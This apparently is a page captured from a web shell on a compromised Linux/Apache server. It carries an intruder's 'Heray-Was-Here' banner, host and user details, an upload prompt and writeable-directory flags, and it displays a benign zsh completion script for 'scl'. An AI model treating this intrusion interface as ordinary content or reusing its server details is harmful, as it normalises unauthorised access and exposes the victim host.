Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/usr/share/zsh/5.5.1/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/zsh/5.5.1/functions/_scl
#compdef scl

local curcontext="$curcontext" dashes ret=1
local -a state line force alts cmd

[[ $words[2] = deregister ]] &&
    force=( '--force[deregister even SCL installed as packages]' )

_arguments -C $force \
  '(- 1)'{-l,--list}'[list installed software collections or packages within a collection]' \
  '(-l --list)1:action:(enable run load unload list-collections list-enabled list-packages man register deregister)' \
  '(- *)--help' \
  '(-)*:collections:->collections' && ret=0

if [[ -n $state ]]; then
  (( $#line > 1 )) && curcontext="${curcontext%:*}-$line[1]:"
  if [[ $line[1] = register ]]; then
    _directories -P / -W /
    return
  fi
  if (( ${dashes:=$words[(I)--]} )); then
    shift dashes words
    (( CURRENT -= dashes ))
    _normal
    return
  fi
  if [[ $CURRENT -gt 3 && $words[CURRENT] = - ]]; then
    compadd - --
    return
  fi
  [[ $line[1] = enable && $CURRENT -gt 3 ]] &&
    cmd='command:command:_cmdstring'

  _alternative 'collections:collection:compadd
      $(_call_program collections "${words[1]} list-collections || ${words[1]} -l")' \
      $cmd && ret=0
fi

return ret

Hry